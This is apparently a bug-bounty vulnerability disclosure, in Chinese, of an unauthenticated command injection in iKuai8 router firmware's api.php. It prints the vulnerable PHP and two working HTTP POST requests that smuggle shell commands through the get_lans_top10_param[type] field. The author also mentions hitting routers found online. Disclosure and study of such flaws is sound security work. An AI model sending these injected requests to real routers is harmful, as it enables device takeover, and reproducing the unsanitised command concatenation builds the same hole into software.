漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:爱快流控路由最新版(iKuai8_2.4.4_Build20150604-17_41)固件漏洞挖掘分析之五(免登陆无限制执行任意系统命令)
提交时间:2015-06-30 10:06
修复时间:2015-09-28 10:18
公开时间:2015-09-28 10:18
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2015-06-30: 细节已通知厂商并且等待厂商处理中 2015-06-30: 厂商已经确认,细节仅向厂商公开 2015-07-03: 细节向第三方安全合作伙伴开放 2015-08-24: 细节向核心白帽子及相关领域专家公开 2015-09-03: 细节向普通白帽子公开 2015-09-13: 细节向实习白帽子公开 2015-09-28: 细节向公众公开
简要描述: 固件版本:iKuai8_2.4.4_Build20150604-17_41 固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso 分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等 注:本文基于逆向获取到的源文件进行分析。 这部的最后一集了。。。
详细说明: 免登陆无限制执行任意系统命令 上一节提到的后台命令执行漏洞可以通过对那些调用shellControl函数进行操作且字段内容可以注入命令的函数进行执行命令,但是有safe()函数进行部分过滤,而且还需要登陆后台(虽然可以任意登陆。。),本节要说的是终极大杀器。 文件位置/api.php,主要用途是获取路由系统的基本概况、网络概况等功能,在后台首页上进行显示数据。
部分代码如下:
<?php $shellmodel = 'sysinfo'; function shellControl($model,$shell,$data=array(),$return=true){ //默认有返回值的 if(!$data){ $str = ''; }else{ if(!is_array($data))return false; $key = array_keys($data); $val = array_values($data); $str = ''; foreach($key as $k=>$v){ $str .= $v.'="'.$val[$k].'" '; } } $redirt = '>/dev/null 2>/dev/null &'; if(!$return){ ikExec($model,$shell." ".trim($str).' '.$redirt);//重定向没有返回值 }else{ $res = json_decode(ikExec($model,$shell." ".trim($str)),true); } return $return?$res:'ok';//暂时返回OK } //如果是首页获取相关数据 if($_POST['type'] == 'home'){ //System/monitoring_pros/get_pros/down $pros = shellControl('monitor','monitor_app show_flow '); $data['protocal'] = array_slice($pros,0, 20); $data['cpu'] = shellControl('sysinfo','query_cpu_mem'); //基本概况 $data['basic'] = shellControl('sysinfo','query_info'); //echo ikGetErrMsg();exit; //网络概况 $data['statistics'] = shellControl('sysinfo','statistics'); $data['statistics']['day_info'] = sec_to_date($data['statistics']['uptime']); $data['statistics']['cpu_re'] = shellControl('sysinfo','query_info'); $data['pies_info'] = get_pies(); $data['top_lans_info'] = get_lans_top10(); $data['top_pros_info'] = get_fifth(shellControl('monitor','monitor_app show_flow')); $data['top_lines_info'] = get_lines(); //返回 echo json_encode($data); exit; } switch($_POST['ac']){ case 'global':get_index_data();break; case 'win':get_top_window_info();break; case 'top':get_top_cpu_info();break; }
api.php自己也定义了一个shellControl函数,且没有进行登录验证,type=home时,获取系统运行信息及网络基本概况。其中的$data['top_lans_info'] = get_lans_top10();,调用get_lans_top10(),用于获取内网流量排行信息。相关代码如下:
//内网流量排行 function get_lans_top10() { //******此处删掉部分无关内容****** //注释:POST有get_lans_top10_param参数则对$params赋值POST上来的值,否则使用默认参数 $params = isset($_POST['get_lans_top10_param']) ? $_POST['get_lans_top10_param'] : array('type' => 'download', 'sort' => 'desc'); //注释:对$params中sort参数不为desc时$sort为空 if($params['sort'] == 'desc'){ $sort = 'param="-r"'; }else{ $sort= ''; } //注释:直接使用$params['type']参数拼接进入shellControl $data = shellControl('monitor','monitor_lanip show_flow limit=0,10 sort=' . $params['type'] . ' ' . $sort); $data = $data['data']; //echo ikGetErrMsg(); //速度显示变色阀值 $threshold = array( 'upload' => 2000, 'download' => 1000 ); return array('data' => $data, 'threshold' => $threshold); }
代码里面我添加的注释写得很清楚,代码也不长,有POSTget_lans_top10_param参数时使用POST上来的参数,没有则使用默认参数,然后直接没有任何处理直接带入shellControl执行。 下面来尝试利用一下,提交一个数据包,向根目录写入vul.txt,内容为this is a test。
POST http://192.168.1.1/api.php HTTP/1.1 X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 Host: 192.168.1.1 Content-Length: 79 Connection: Keep-Alive type=home&get_lans_top10_param%5Btype%5D=123%3Becho+this+is+a+test%3E%2Fvul.txt
成功执行命令,如下图
查看当前目录文件列表
POST http://192.168.1.1/api.php HTTP/1.1 X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 Host: 192.168.1.1 Content-Length: 66 Connection: Keep-Alive type=home&get_lans_top10_param%5Btype%5D=123%3B+ls+-l%3E%2Fvul.txt
命令均成功执行,至此找到一个无登陆无限制可以执行任意命令的位置让我们找到。据此我写了一个任意命令执行漏洞演示工具,方便命令执行。如下图,
网上搜索几个链接,全部秒杀,均存在命令执行漏洞。如下图:
漏洞证明: 修复方案: 好了,手上没子弹了。。狗哥对予如何获取很感兴趣,等过几天有空整理下发出来把。。老板,求来本书。。。谢谢您了。
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:15
确认时间:2015-06-30 10:17
厂商回复: 这一通下来,除了爆出的漏洞外,也敲响了警钟,让我们一方面有了安全这根弦,另一方面也了解到了防范这些漏洞的技巧和方法,感谢所有白帽子兄弟,真心感谢
最新状态: 暂无